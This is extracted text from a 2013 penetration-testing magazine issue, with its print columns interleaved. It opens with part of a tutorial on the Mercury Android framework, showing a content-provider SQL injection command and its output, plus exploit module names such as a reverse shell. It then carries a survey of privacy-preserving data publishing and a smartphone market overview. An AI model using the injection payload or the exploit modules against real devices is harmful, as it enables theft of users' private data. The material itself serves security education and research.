*mercury#provider> finduri com.android.providers. The first step on Mercury is to query the content
settings of the table and then try to inject the table. This can
be done with the command:
The result gives an overview about the content:
*mercury#provider> query content://customization_
/system/app/SettingsProvider.apk: settings/SettingTable/ --projection inject
Contains no classes.dex no such column: inject: , while compiling: SELECT
true FROM SettingTable WHERE (key=)
/system/app/SettingsProvider.odex:
content://customization_settings/SettingTable/ As seen here, a typical SQL error will lead to SQL
content://media/phoneStorage/audio/artists Injection. The aim of the attacker is to force the
content://media/phoneStorage/audio/media
content://customization_settings/SettingTable/

Pointing the browser at http://localhost:8080/


query?a=settings&path0=system will give the con-
tent of the settings table in the Settings provid-
er. Going to http://localhost:8080/query gives us Figure 6. Setting output from the list tool

TBO 03/2013 Page 66 http://pentestmag.com


database to show the output of the SQLite master email, accounts and passwords. To demonstrate
table which will give more information about the that this is possible, the following screenshot was
types of tables that are in the database. To do so, taken by the author: Figure 7.
use the option: This shows that it is possible to gain sensitive in-
formation for an application without having special
*mercury#provider> query content://customization_ permissions on the system. The following graphic
settings/SettingTable/ --projection * FROM will try to illustrate this issue: Figure 8.
sqlite_master--
The Modules Section in Mercury
type | name | tbl_name | rootpage | sql Inside the Mercury Framework, the modules sec-
..... tion provides a whole range of prebuild scripts to
test against applications :
table | android_metadata | android_metadata | 3
| CREATE TABLE android_metadata (locale TEXT) *mercury#modules> run
table | SettingTable | SettingTable | 4 | CREATE
TABLE SettingTable (_id INTEGER primary key auxiliary.webcontentresolver exploit.pilfer.
autoincrement,key TEXT NOT NULL,value BLOB) thirdparty.shazamgps information.secretcodes
table | sqlite_sequence | sqlite_sequence | scanner.provider.sqlinjection
5 | CREATE TABLE sqlite_sequence(name,seq) exploit.pilfer.general.getapn exploit.root.
ztebackdoor scanner.misc.sflagbinaries setup.busybox
This example of SQL Injection does not provide exploit.pilfer.general.settingssecure exploit.
any juicy information. However, the author found a shell.reverseshell scanner.provider.dirtraversal
critical SQL Injection during his research. The dis- exploit.pilfer.oem.samsung information.
closured vulnerabilitiy allows an attacker to read deviceinfo scanner.provider.providerscan
everything on your mobile phone such as SMS,
The modules are separated into different categories.
The auxiliary offers little helpers during analysis.
The exploit section includes modules that ex-
ploit given vulnerabilities and information disclo-
sure on the device, and the scanner section in-
cludes scanning tools that fully automate searches
for common vulnerabilities such as directory tra-
Figure 7. Sensitive data at risk versal, SQL Injection or APN (Access Point Names).

Figure 8. Demonstration of SQLinjection

TBO 03/2013 Page 67 http://pentestmag.com


This article will not cover every single module but will content://com.htc.android.worldclock.TimerProvider
describe a few of them and show how to use them. content://cbsetting

scanner.provider.sqlinjection scanner.provider.providerscan
The first module we will be looking at is the scan- The next tool is the scanner.prover.providerscan.
ner.provider.sqlinjection. To start it, we use the This tools checks automatically to see if there are
command run scanner.provider.sqlinjection. queries in the provider section that it is able to read
This scanner will now perform a fully automated with the given permission set. Based on this data, an
search for SQL Injections and will give an output of attacker is able to gain information that might contain
the vulnerable queries as soon as it is finished. As sensitive information (Figure 10). The output tells us
seen here, two potentional queries that can be at- which content providers are currently able to query.
tempted with injection were discovered: Figure 9. For later analysis, the attacker just has to use the
query command such as the one discussed earlier in
[*] Summary the SQL Injection section and check for potentional
------- SQL Injections with the projection command.

Injection in projection: scanner.provider.dirtraversal


content://com.htc.android.worldclock. The next tool is the scanner.provider.dirtraversal.
StopwatchProvider This module will check for possible directory tra-

Figure 9. Mercury SQL Injection Scanner

Figure 10. Mercury Query Provider Scanner

Figure 11. Mercury Directory Traversal Scanner

Figure 12. Logcat output while scanning Directory Traversal Vulnerabilities

TBO 03/2013 Page 68 http://pentestmag.com


versal vulnerabilities. The goal of this attack is to or- used. If you store very sensitive company data on
der an application to access a file that is not intend- your phone, youd better completely reverse en-
ed to be accessible. This attack exploits a lack of gineer the application before you install it. Never
security (the software is acting exactly as it is sup- store any sensitive data on the internal or external
posed to) as opposed to exploiting a bug in the code SD card because any application is able to read
(Figure 11). the entire contents of the SD card whether or not
they have permissions.
Vulnerable providers: Unfortunately, not even anti-virus software can
dlna be used against these kinds of attacks. What the
com.adobe.reader.fileprovider Android world would need is, in my opinion, an ap-
com.metago.astro.compressed plication that would sandbox the actual sandbox.
In mho, the software security should come by
The logcat output gives us a view on how the the API developers. The Android software devel-
module works: Figure 12. The module is request- opment tool should have options to detect possi-
ing the URI of the Content and tries to get to a ble SQL Injection parameters, mechanisms to pro-
foreign location which is not meant to be accessi- tect against directory traversal vulnerabilities and
ble by the application. should at least define the application borders on
what can and cant read on the SD Card.
Conclusion and further Work As the Mercury Framework shows, it is way to
For a summary of what the Mercury Framework easy to gain sensitive information from an applica-
does, wed want to collect these facts that security tion. Our mobile devices are far away from being
researchers should always keep in mind: secure. The Android software is at a big risk the
distribution of the software is too fast and the secu-
The Mercury Server is just an application rity development too slow. If the developers of An-
which is running with one permission droid dont start to focus on security, we will soon
This application is able to perform SQL Injec- face massive and powerful malware on our devic-
tion to several vulnerable apps es which is able to steal almost everything from us.
This application is able to find sensitive infor- The industry has to start now, in the beginning,
mation on the Phone and if it is not already too late.
This application is able to send all of the data The Mercury Framework showed us what is pos-
gathered back to the client sible and we have to find a way to prevent these
This application is able to upload & download types of attacks.
files to and from your SD Card
The actions that this application is permitting
are not restricted by the Android API
The application is not recognized by any anti-virus
The application is still in development

So what can we learn from this? Based on the


fact that this application shows the potential secu-
rity risks on a phone, knowing what a malicious
application is able to do on our a phone without
requiring special permission that could worry the
user. Even without the Internet permission, a ma-
licious application is able to perform these actions
and newly created malware is able to send files
back to their servers.
How to prevent Android from being exploited by
malicious applications? In fact, there is no solution Patrik Fehrenbach
to prevent attacks like this with the exception of not My name is Patrik Fehrenbach. Im a 21 year old Com-
installing third party applications. The user has to puter Networking student at Hochschule Furtwangen
trust the application that he is going to install, al- University in South Germany. I am also the founder of IT-
ways look to the vendor and the packages that are Securityguard.

TBO 03/2013 Page 69 http://pentestmag.com


Privacy-Preserving
Data Publishing
Privacy-Preserving Data Publishing (PPDP) is concerned mainly
with the feasibility of anonymizing and publishing person-
specic data for data mining without compromising the privacy of
individuals.

D
ata collection and publishing are ubiqui- jects, offering tremendous opportunities for min-
tous in todays world. Many organizations ing useful knowledge. However, this trajectory
such as governmental agencies, hospi- data contains peoples visited locations and thus
tals, and nancial companies collect and dissem- reveals identiable sensitive information such as
inate various person-specic data for research social customs, religious inclination, and sexual
and business purposes. Worldwide governments preferences. Thus, data about individuals gets
systematically collect personal information about collected at various places in various ways.
their citizens through censuses. These data are This data offers tremendous opportunities for
released to public for demographic research. In mining useful information, but also threatens per-
the medical domain, gaining access to high-qual- sonal privacy. Data mining is the process of ex-
ity healthcare data is a vital requirement to in- tracting useful, interesting, and previously un-
formed decision-making for medical practitioners known information from large datasets. Due to
and researchers. Grocery stores collect a large the rapid advance in the storing, processing, and
amount of customer purchase data via store cour- networking capabilities of the computing devices;
tesy cards. These data are analyzed to model the collected data can now be easily analyzed to
customer behaviour and are used by advertise- infer valuable information for research and busi-
ment companies. In the online world, web sites ness purposes. Data from different sources can be
and service providers (Google for example) col- integrated and further analyzed to gain better in-
lect search requests of users for future analysis. sights. The success of data mining relies on the
Recent data publishing by AOL is a unique ex- availability of high quality data and effective infor-
ample of this kind [3]. Finally, the emergence of mation sharing. Since data mining is often a key
new technologies such as RFID tags, GPS-based component of many systems of business informa-
devices, and smartphones raises new privacy tion, national security, and monitoring and surveil-
concerns. These devices are used extensively in lance; the public has acquired a negative impres-
many network systems including mass transpor- sion of data mining as a technique that intrudes on
tation, car navigation, and healthcare manage- personal privacy. This lack of trust has become an
ment. The collected trajectory data captures the obstacle to the sharing of personal information for
detailed movement information of the tagged ob- the advancement of the technology.

TBO 03/2013 Page 70 http://pentestmag.com


Real-Life Examples years due to the ease of collecting external infor-
The current practice in data sharing primarily re- mation over the Internet.
lies on policies and guidelines on the types of da- Not all linking attacks require external informa-
ta that can be shared and agreements on the use tion. Sometimes the semantic information of the
of shared data. This approach alone may lead to data itself reveals the identity of a user. The case
excessive data distortion or insufcient protection. of the AOL data release is a notable example. On
For example, the most common practice is to re- August 6, 2006, AOL released a 2GB le contain-
move the identiable attributes (such as name, ing the search queries of its 650,000 users. There
social security number) of individuals before re- are approximately 20 million search queries col-
leasing the data. This simple technique though ap- lected over a three month period. As a privacy pro-
parently looks innocuous, in reality fails to protect tection mechanism, AOL removed all user identi-
the privacy of record holders. Also, contracts and ties except for the search queries and assigned a
agreements cannot prevent an insider from inten- random number to each of its users. Three days
tionally performing privacy attacks or even steal- later, two New York Times reporters identied and
ing data. In this section, we present a number of interviewed the user #4417749 from the release
real-world attacks to emphasize the need of priva- data [3]. Ms. Thelma Arnold was re-identied from
cy-preserving techniques and to illustrate the chal- the semantic information of her search queries.
lenges in developing such tools. She said, We all have a right to privacy. Nobody
The most illustrious privacy attack was demon- should have found this all out.
strated by Sweeney [8]. In Massachusetts, Group Netix, a movie renting service, announced a
Insurance Commission (GIC) collected the medi- $1,000,000 prize for 10% improvement for their
cal data of the state employees. The data set had recommendation system. To assist the competi-
no identiable attributes such as name, social se- tion, they also provided a real data set which con-
curity number or phone numbers and thus was tains 100 million ratings for 18,000 movie titles from
believed to be anonymous. GIC gave a copy of 480,000 randomly chosen users. According to the
the data to researchers and sold a copy to indus- Netix website, To protect customer privacy, all
try. However, the data set did contain demograph- personal information identifying individual custom-
ic information such as date of birth, gender, and ers has been removed and all customer ids have
ZIP code. Sweeney reported that 87% of the U.S. been replaced by randomly assigned ids. Naray-
population can be uniquely identied based on anan and Shmatikov shortly attacked the Netix
5-digit zip code, gender and date of birth. It is not data by linking information from the International
common to nd many people with the same date Movie Database (IMDb) site, where users post
of birth, less likely for them to live in the same their reviews (not anonymous) [7]. They showed
place and very less likely having same gender. With 8 movie ratings (of which 2 may be complete-
She bought a copy of the Massachusetts voter ly wrong) and dates that may have a 14-day error,
registration list for $20 and identied the record 99% of records can be uniquely identied in the
of William Weld, governor of the state of Massa- data set. For 68%, two ratings and dates (with a
chusetts, by joining both the tables. This kind of 3-day error) are sufcient.
attack where external data can be used to identify It is evident from the above examples that mere
an anonymous data is called linking attack. The removal of the personal information does not en-
concern of linking attacks has escalated in recent sure privacy to the users. To overcome this ob-

Figure 1. Data ow in privacy-preserving data publishing

TBO 03/2013 Page 71 http://pentestmag.com


stacle, the research on Privacy-Preserving Data There are two models in the data publishing
Publishing (PPDP) is concerned mainly with the phase: interactive and non-interactive. In the inter-
feasibility of anonymizing and publishing person- active model, the data recipients pose aggregate
specic data for data mining without compromising queries through a private mechanism and the da-
the privacy of individuals. The research is also con- ta publisher answers these queries in response.
cerned with designing a unied framework of algo- These aggregate values are computed over a set of
rithms for anonymizing large data sets in various records and should not disclose any sensitive val-
real-life data publishing scenarios. In the following ue of an individual. However, it is possible3 for a
section, we elaborate on the different phases of recipient to construct a set of queries that unveils
privacy-preserving data publishing and discuss dif- the detailed underlying data [1]. The challenge is to
ferent real-life data publishing scenarios. answer the queries in such a way that no inference
can be made based on the aggregate statistics. The
Privacy-Preserving Data Publishing data publisher determines whether the answer can
Framework or cannot be safely delivered without inference and
Privacy-preserving data publishing (PPDP) has thus controls the amount of information to be re-
two phases: data collection and data publishing. leased. In the noninteractive model, the data pub-
Figure 1 depicts the data ow in PPDP. In the data lisher rst anonymizes the raw data and then re-
collection phase, the data publisher collects data leases the anonymized version for data analysis.
from the individuals. In the data publishing phase, Once the data are published, the data publisher
the data publisher releases the collected data to has no further control of the published data. There-
the data recipients, who will then conduct data fore, the data publisher needs to transform the un-
mining on the published data. For example, a hos- derlying raw data into a version that is immunized
pital collects data from patients and publishes the against privacy attacks but which still supports ef-
patient records to an external medical center. In fective data mining tasks. While both the interactive
this example, the hospital is the data publisher, pa- and non interactive models are useful, the data re-
tients are the individuals (data owners), and the cipients usually prefer to get an anonymous data
medical center is the data recipient. The recipient set as the data can be directly analyzed by the off-
could be a data user (researcher) who wants to the-shelf data analysis software (such as SPSS).
perform legitimate data analysis, or could poten- The data publisher may or may not have the
tially be an adversary who attempts to associate knowledge of the data mining to be performed on
sensitive information in the published data with a the released data. In some scenarios, the data
target victim. For example, the data recipient, say publisher does not even know who the recipients
the external medical center, is a trustworthy entity; are at the time of publication, or has no interest in
however, it is difcult to guarantee that all staff in data mining. For example, the hospitals in Califor-
the company are trustworthy as well. nia publish patient records on the Web. The hospi-
There are two models in the data collection tals do not know who the recipients are or how the
phase: trusted and untrusted. In the trusted model, recipients will use the data. The hospital publishes
individuals trust the data publisher and give all the patient records because it is required by regula-
required data. For example, patients give their true tions [4]. Therefore, it is not reasonable to expect
information to hospitals to receive proper treatment. the data publisher to do more than anonymize the
In this scenario, it is the responsibility of the data data for publication in such a scenario. In other
publisher to protect privacy of the individuals per- scenarios, the data publisher is interested in the
sonal data. In the untrusted model, individuals (data data mining result but lacks the in-house expertise
owner) do not trust their data publisher and some- to conduct the analysis, and hence outsources the
times the data publisher may be the data recipient. data mining activities to some external data min-
A typical example of this model is participants re- ers. In this case, the data mining task performed
sponding to a survey. Various cryptographic solu- by the recipient is known in advance. In the effort
tions, anonymous communications, and statistical to improve the quality of the data mining result, the
methods were proposed to collect records anony- data publisher could release a customized data set
mously from individuals revealing their identity. In that preserves specic types of patterns for such a
this article, we focus on the trusted model and study data mining task. Still, the actual data mining ac-
how to anonymize data in the data publishing phase tivities are performed by the data recipient, not by
to protect privacy of the individuals. the data publisher. To achieve proper balance be-

TBO 03/2013 Page 72 http://pentestmag.com


tween privacy and utility, the data publisher needs the individuals record and, therefore, the value of
to decide three components: privacy model, ano- her sensitive attribute. Consider the raw patient da-
nymization techniques, and utility metric. ta in Table 1(a), where each record represents a pa-
tient with the patient-specic information. Job, Sex,
Privacy Models and Age are quasi-identifying attributes. Suppose
The collected data set are stored in a data table that the adversary knows that the target patient is
where each row represents an individual and each a Lawyer and his age is 38. Hence, record #3, to-
column is an attribute. We use the terms data set gether with his sensitive value (HIV in this case),
and data table interchangeably in the rest of this can be identied since he is the only Lawyer who is
article. Attributes can be divided into three cate- 38 years old in the data. k-anonymity requires that
gories. (1) Attributes that explicitly identify an indi- no individual should be uniquely identiable from a
vidual, such as SSN, and name. These attributes group of size smaller than k based on the values of
are called explicit identier and must be removed QID attributes. A table satisfying this requirement is
before releasing the data. (2) A set of attributes called a k-anonymous table. Table 1(b) is a 2-anon-
whose combined value may potentially identify ymous table of Table 1(a).
an individual. For example, the combined values
of zip code, date of birth, and gender. These attri- -diversity
butes are called quasi-identier (QID) and the val- k-anonymity only prevents identity linkage attacks
ues of these attributes may be publicly accessible since an adversary can not identify a record corre-
from other sources. Finally, an attribute is consid- sponding to an individual with condence greater
ered sensitive if an adversary is not permitted to than 1/k. However, k-anonymous data table is vul-
link its value with an identifer. Examples include: nerable against attribute linkage attacks. Suppose
disease, salary, etc. the adversary knows that the patient is a dancer of
Different privacy models have been proposed age 30. In such case, even though two such records
to prevent an adversary from linking an individu- exist (#6 and #7), the adversary can infer that the pa-
al with a sensitive attribute given the knowledge tient has HIV with 100% condence since both the
of the quasi-identifer. Following, we briey present records contain HIV. To prevent such attribute link-
some of the wellknown privacy models. age attack, -diversity requires that every QID group
should contain at least well-represented values for
Table 1 (a). Patient table the sensitive attribute. There are a number of inter-
Job Sex Age Disease pretations of the term well-represented. The sim-
1 Engineer Male 35 Hepatitis plest denition requires every equivalent group to
2 Engineer Male 38 Hepatitis have distinct values of the sensitive attribute.
3 Lawyer Male 38 HIV
4 Writer Female 30 Flu Condence Bounding
5 Writer Female 33 HIV
The condence of inferring a sensitive value from
6 Dancer Male 30 HIV
7 Dancer Female 30 HIV different combination of QID values are bounded
by specifying one or more privacy templates of the
form, QID s, h, where s is a sensitive value, QID
Table 1 (b). 2-anonymous patient table is a quasi-identier, and h is a threshold. For exam-
Job Sex Age Disease ple, with QID = {Job, Sex,Age}, QID HIV, 50%
1 Professional Male [35-40) Hepatitis states that the condence of inferring HIV from any
2 Professional Male [35-40) Hepatitis group on QID is no more than 50%. For the data in
3 Professional Male [35-40) HIV Table 1(b), this privacy template is violated because
4 Writer Female [30-35) Flu the condence of inferring HIV is 100% in the group
5 Writer Female [30-35) HIV for {Dancer, *, 30}. Unlike -diversity, condence
6 Dancer * 30 HIV bounding can have different privacy templates with
7 Dancer * 30 HIV different condence thresholds.
There are other privacy models [6]. (, k)-anonymity
k-Anonymity. Removing explicit identiers is not requires every QID group to satisfy both k-anonymity
enough to protect privacy of the individuals. If a re- and condence bounding. t-closeness requires the
cord in the table is so specic that not many individ- distribution of a sensitive attribute in any group to be
uals match it, releasing the data may lead to linking close to the distribution of the attribute in the over-

TBO 03/2013 Page 73 http://pentestmag.com



all table. The notion of personalized privacy allows Pr[Ag(D) = ] e Pr[Ag(D) = ], (1)
each record owner to specify her own privacy lev-
el. This model assumes that a sensitive attribute has where the probabilities are over the random-
a taxonomy tree and each record owner species a ness of the Ag. The parameter > 0 is public and
guarding node in the taxonomy tree. All of these mod- specied by a data publisher. Lower values of
els, which are known partition-based privacy models, provide a stronger privacy guarantee.
partition the data table in to groups and provide dif- Differential privacy is a strong privacy denition,
ferent guarantees about the anonymized data based but this is not a perfect denition. If the records
on the assumption of the adversarys background are not independent or an adversary has access
knowledge. Recent research works show that the al- to aggregate level background knowledge about
gorithms that satisfy partition-based privacy models the data then privacy attack is possible. Dening
are vulnerable to various privacy attacks and do not an appropriate privacy definition for a particular
provide the claimed privacy guarantee. application scenario is currently an active area
Differential privacy has received considerable at- of research.
tention as a substitute for partition-based privacy
modelsin privacy-preserving data publishing. Dif- Anonymization Techniques
ferential privacy provides strong privacy guarantees Given a privacy model, different anonymization
independent of an adversarys background knowl- techniques are used to transform the original da-
edge, computational power or subsequent behav- ta set into a version that satises the privacy re-
ior. Partition-based privacy models ensure privacy quirements. Anonymization techniques are used to
by imposing syntactic constraints on the output. make the data less precise to protect privacy. Fol-
For example, the output is required to be indistin- lowing, we present some common techniques that
guishable among k records, or the sensitive value are often used for anonymization.
to be well represented in every equivalence group.
Instead, differential privacy guarantees that an ad- Suppression
versary learns nothing more about an individual, re- The simplest technique to achieve anonymity is to
gardless of whether her record is present or absent suppress the value of a cell. Suppression is done
in the data. Informally, a differentially private output by replacing an attribute value with a special sym-
is insensitive to any particular record. Thus, if a us- bol * or Any. It has been widely used to satisfy
er had opted in the database, there would not be a privacy requirement such as k-anonymity. For ex-
signicant change in any computation based on the ample in Table 1(b), the values of Sex attribute
database. Therefore, this assures every individual of records #6 and #7 are suppressed to ensure
that any privacy breach will not be a result of par- 2-anonymity.
ticipating in a database. Following we present the
formal denition of the differential privacy model. A Table 2 (a). Bucketized data: QID Attribute
general overview of on differential privacy can be Job Sex Age Bucket
found in the recent survey [5]. Engineer Male 35 1 Male 35 1
Engineer Male 38 2 Male 38 2
Differential Privacy Lawyer Male 38 1 Male 38 1
A randomized algorithm Ag is differentially private if Writer Female 30 3 Female 30 3
Writer Female 33 2 Female 33 2
for all data sets D and D where their symmetric dif-
Dancer Male 30 3 Male 30 3
ference contains at most one record (that is, |DD| Dancer Female 30 3 Female 30 3
1), and for all possible anonymized data sets ,

Figure 2. Taxonomy trees for Job, Sex, Age

TBO 03/2013 Page 74 http://pentestmag.com


Table 2 (b). Bucketized data: Sensitive Attribute truthfulness at the record level. This technique is
Bucket Disease often used in the untrusted data collection model.
This technique can also ensure differential privacy,
1 Hepatitis
1 HIV though it requires a higher degree of noise than
2 Hepatitis an output perturbation-based approach, which we
2 HIV explain next.
3 Flu
3 HIV Output Perturbation
3 HIV
This approach rst computes the correct result and
Generalization outputs a perturbed version of the result by adding
Generalization provides better data utility compared noise. This technique is often used to achieve dif-
to suppression by replacing the specic value with ferential privacy. For example, the Laplace mech-
a more general value. While suppression works in anism, which is a output perturbation-based ap-
a binary fashion (keep the original value or sup- proach, takes as inputs a data set D, a function f,
press), generalization has a number of intermedi- and the privacy parameter . The privacy param-
ate states according to a taxonomy tree for each at- eter determines the magnitude of noise added to
tribute. Figure 2 depicts the taxonomy trees for the the output. The mechanism rst computes the true
attributes Job, Sex and Age. For example in Table output f(D), and then returns the perturbated an-
1(b), the values Engineer and Lawyer are replaced swer f() = f(D) + Lap(), where Lap() is a random
by a more general value Professional according to variable sampled
2 from a Laplace distribution with
the taxonomy tree. Generalization techniques can variance 2 and mean 0.
be classied mainly into two categories: global vs.
local. In global generalization, all instances of a val- Utility Metrics
ue are mapped to the same general value. While in While protecting privacy is a critical element in da-
local generalization, different instances can be gen- ta publishing, it is equally important to preserve
eralized to different general values. A range of algo- the utility of the published data because this is the
rithms have been proposed that use generalization primary reason for publication. A number of utili-
technique to enforce different privacy models [6]. ty metrics have been proposed to quantify the in-
formation that is present in the anonymized data.
Bucketization Data publishers use these metrics to evaluate and
Unlike generalization and suppression, bucketi- optimize the data utility of the anonymized data. In
zation does not modify the QID and the sensitive general, utility metrics can be classied into two
attribute (SA), but de-associates the relationship categories: general purpose metric and special
between the two. However, it thus also disguises purpose metric.
the correlation between SA and other attributes;
therefore, hinders data analysis that depends on General Purpose Metric
such correlation. Bucketization was proposed to In many cases, the data publisher does not know
achieve -diversity. It divides all the records into how the released data will be used by the data re-
different buckets in such a way that each bucket cipient. In such cases, the data publisher uses the
contains distinct values of sensitive attribute. Ta- general purpose metric that measures the similar-
bles 2(a) and 2(b) are the bucketized data, which ity between the original data and the anonymized
satises 2-diversity for the patient data Table 1(a). data. The objective is to minimize the distortion in
the anonymized data. The simplest and most in-
Input Perturbation tuitive measure is to count the number of anon-
This approach modies the underling data random- ymization operations performed on the data set.
ly by either adding noise to the numerical values or For example, in the case of suppression, the data
replacing the categorical values with other values utility is measured by counting the number of sup-
from the domain [2]. The input-perturbated data pressed values. Less suppression means more
are useful at the aggregated level (such as aver- utility. Similarly, for generalization, the information
age or sum), but not at the record level. Data recip- loss is measured by the number of generalization
ients can no longer interpret the semantic of each steps performed. Other metrics include Loss Met-
individual record. Yet, this is a useful technique ric (LM), Normalized Certainty Penalty (NCP), Dis-
if the applications do not require preserving data cernibility Metric (DM), etc.

TBO 03/2013 Page 75 http://pentestmag.com


References
[1] N. R. Adam and J. C. Wortman. Security control methods for statistical databases. ACM Computer Surveys,
21(4):515556, 1989.
[2] R. Agrawal and R. Srikant. Privacy preserving data mining. In Proceedings of the ACM SIGMOD International Con-
ference on Management of Data (SIGMOD), pages 439450, 2000.
[3] M. Barbaro and T. Zeller. A face is exposed for AOL searcher no. 4417749. New York Times, August 9, 2006.
[4] D. M. Carlisle, M. L. Rodrian, and C. L. Diamond. California inpatient data reporting manual, medical information
reporting for california, 5th edition. Technical report, Ofce of Statewide Health Planning and Development, Ju-
ly 2007.
[5] C. Dwork. A rm foundation for private data analysis. Commun. ACM, 54(1):8695, 2011.
[6] B. C. M. Fung, K. Wang, R. Chen, and P. S. Yu. Privacy-preserving data publishing: A survey of recent developments.
ACMComputing Surveys, 42(4):153, June 2010.
[7] A. Narayanan and V. Shmatikov. Robust de-anonymization of large sparse datasets. In Proceedings of the IEEE
Symposium on Security and Privacy (S&P), pages 111125, 2008.
[8] L. Sweeney. k-anonymity: A model for protecting privacy. In International Journal on Uncertainty, Fuzziness and
Knowledge-based Systems, volume 10, pages 557570, 2002.

Special Purpose Metric Noman Mohammed


The type of information that should be preserved Noman Mohammed is a postdoctoral fellow in the
depends on the data mining task to be conducted School of Computer Science at McGill University. Hisre-
on the published data. If the purpose of the da- search interests include privacy and applied cryptogra-
ta publishing is known before the data release, phy; in particular, private data sharing, secure distribut-
then customized anonymization techniques can ed computing, and secure database management. Pre-
be adapted to preserve certain information that viously, he completed his Ph. D. in Computer Science
is useful for that particular task. Optimizing data and M.A.Sc. in Information Systems Security at Con-
utility with respect togeneral purpose metrics (LM, cordia University. He has received several prestigious
DM, etc.) does not preserve enough information for awards including the Best Student Paper Award in ACM
a particular data mining task such as classication SIGKDD International Conference on Knowledge Discov-
analysis. In such a scenario, the target data mining ery and Data Mining (SIGKDD 2009), and the Alexander
model is rst built on the anonymized data to com- Graham Bell Canada Graduate Scholarship (CGS) from
pare the accuracy of the model with respect to the the Natural Sciences and Engineering Research Council
model built from the original data. of Canada (NSERC).

Conclusion BENJAMIN C. M. FUNG


Privacy-preserving data publishing is an exciting re- Benjamin C. M. Fung is an Associate Professor in the
search area. This article presents different technical Concordia Institute for Information Systems Engineer-
proposals to the demand of simultaneous informa- ing (CIISE) at Concordia University in Canada, and a re-
tion sharing and privacy protection. However, the search scientist of the National Cyber-Forensics and
problems of6 data privacy can not be fully solved on- Training Alliance Canada (NCFTA Canada). He received
ly by technology. We believe that there is an urgent a Ph.D. degree in computing science from Simon Fraser
need to bridge the gap between advanced privacy University in 2007. He has over 60 refereed publications
preservation technology and current policies. In the that span across the prestigious research forums of da-
future, we expect that social and legal regulations ta mining, privacy protection, cyber forensics, web ser-
will complement the best practices of privacy-pre- vices, and building engineering. His data mining work in
serving technology. To this end, it is also important authorship analysis has been widely reported by media
to standardize some privacy models and algorithms worldwide. His research has been supported in part by
for different applications as it is unlikely that there ex- the Discovery Grants and Strategic Project Grants from
ists a one-size-t solution for all application scenari- the Natural Sciences and Engineering Research Council
os. Thus, the future research direction appears to lie of Canada (NSERC), Defence Research and Development
in dening suitable privacy models, and in develop- Canada (DRDC), and Le Fonds qubcois de la recherche
ing trustworthy algorithms and systems that provide sur la nature et les technologies (FQRNT), and NCFTA
performance guarantees ensuring the security and Canada. Dr. Fung is a licensed professional engineer in
privacy of data for specic applications. software engineering.

TBO 03/2013 Page 76 http://pentestmag.com


Prevent fraud at the front
line rather than detecting it
after it has happened
Forticom introduces a ground-breaking identity validation and authentication solution that
effectively eliminates the potential for credentials to be stolen and subsequently misused. Our
solution can be quickly and easily integrated into most existing systems and processes without
the need for complex changes to you or your users.

Reputation Protection No devices required


Fraud Prevention Flexible implementation
Unified process across all entry points Immune to phishing and scamming
Reduced costs User initiated duress capabilities
Reduced complexity Immune to observation

www.forticomgroup.com
Smartphone a
Win-Win Product
for Both Consumers and Sellers
In a world where technology can be used for multiple exchanges,
the use of mobile phones is no longer limited to simple voice
communication functions. Mobiles are now providing access to a
growing number of services due to Smartphone

A
smartphone is a mobile phone built on a mo- tile functionality. The versatility and convenience
bile operating system, with more advanced of these devices makes them a priority from other
computing capability connectivity than a fea- similar devices like PDAs (Personal Digital Assis-
ture phone. Nowadays, phones arent just for basic tants) or Tablets.
needs like talking and texting, they have many ad- Today, a smartphone is not just used to talk;
vanced features such as: the Internet, email, gam- rather it is utilized for a wide array of services viz.,
ing, organizing, taking photos, playing music, shop- GPS, MP3 Player, a range of entertainment, elec-
ping, watching movies and more. These features tronic banking, reading e-books or attending office
combined together constitute a smartphone. The meetings online. Such a diverse mixture of servic-
building block of any smartphone is its operating es can only be delivered with the combination of
system (OS). The smartphone market is among the strong compact hardware and high-speed reliable
largest and fastest growing markets in the world of software with a good Operating System.
consumer electronics. An operating system manag-
es the hardware and software resources of smart- Smartphone Operating System
phones. It is currently dominated by the Android and Googles Android platform is expected to have the
iPhone smartphone, with BlackBerry and Symbian largest share of the global smartphone operating
Phone at a distant 3rd and 4th position. system market by 2014. Companies making An-
Nowadays, smartphones are the basic part of droid devices include Samsung, HTC, and Motor-
life for every corporate employee. They use smart- ola Mobility, which Google owns. Samsung also
phone devices to gain access to the companies cre- makes phones running Bada, which is based on
dentials and to check company specific mails and Linux. Nokia has traditionally relied on Symbian,
data. Thus, security remains a big concern at the but it is banking its future on Windows. Android
workplace. So penetration testing needs to be done and iOS have combined for 87.6% of the 2012
at every available aspect whenever it is possible. smartphone market.
As per the shipment numbers, Android had 68%
Smartphones Today market share of worldwide smartphones in Q2,
Smartphone growth and adaptation is increas- 2012 with iOS a distant second at 16.9%. Despite
ing rapidly worldwide due to their rich and versa- being down year-on-year, BlackBerry and Symbi-

TBO 03/2013 Page 78 http://pentestmag.com


an came in third and fourth,
while Windows Phone,
which almost doubled its
shipments, only had 3.5%
of the Q2, 2012 market
share (Figure 1).

Smartphone Vendor
Samsung is the undis-
puted leader in the world-
wide smartphone market.
By the end of 1Q13, Sam-
sung shipped more units
than the combined ship-
ment of the next four ven-
dors. Apple has held the
Figure 1. Global, top smartphone Operating System market share (per cent), Quarter 2, second spot in the smart-
2012 (Source: IDC Worldwide Mobile Phone Tracker, August 8, 2012) phone market. Apples mix
of models shipped to mar-
ket is increasingly diversi-
fied as it tries to reach new
buyers. LG smartphone
volume for the quarter was
driven in large part by its
3G smartphone portfolio,
namely the L series and
the Nexus 4. LTE-enabled
devices, including the Op-
timus G series, also con-
tributed to its success. LG
is anticipated to continue
its upward trajectory with
Figure 2. Global, top five smartphone vendors, unit shipments (million), Quarter 1, 2013 the launch of the F and L
(Source: IDC Worldwide Mobile Phone Tracker, April 25, 2013) series targeting the mid-
range and entry-level seg-
ments. Huawei has shown
significant improvement, it
has decreased its depen-
dence on rebranded fea-
ture phones while growing
its Ascend portfolio to ad-
dress multiple customer
segments with more brand-
ed smartphone offerings.
In 2013, ZTE focus is to
grow in North America and
Europe. In China, where
increasing price pressure
has challenged vendors
to grow profitably, ZTE will
emphasize its higher-price
Figure 3. Global, top five smartphone vendors, market share (per cent), Quarter 1, 2012 products. In addition, ZTE
(Source: IDC Worldwide Mobile Phone Tracker, April 25, 2013) will be among the first com-

TBO 03/2013 Page 79 http://pentestmag.com


engineering attacks, post
exploitation and local privi-
lege escalation.
SPF tool allows users to
assess the security of the
smartphones in the en-
vironment in the manner
theyve come to expect
with modern penetration
testing tools. SPF is made
up of several parts that may
be mixed and matched to
meet users needs:

SPF Console;
SPF Web based GUI;
SPF Android App;
Figure 4. Global, top five smartphone vendors, market share (per cent), Quarter 1, 2013 SPF Android Agent.
(Source: IDC Worldwide Mobile Phone Tracker, April 25, 2013)

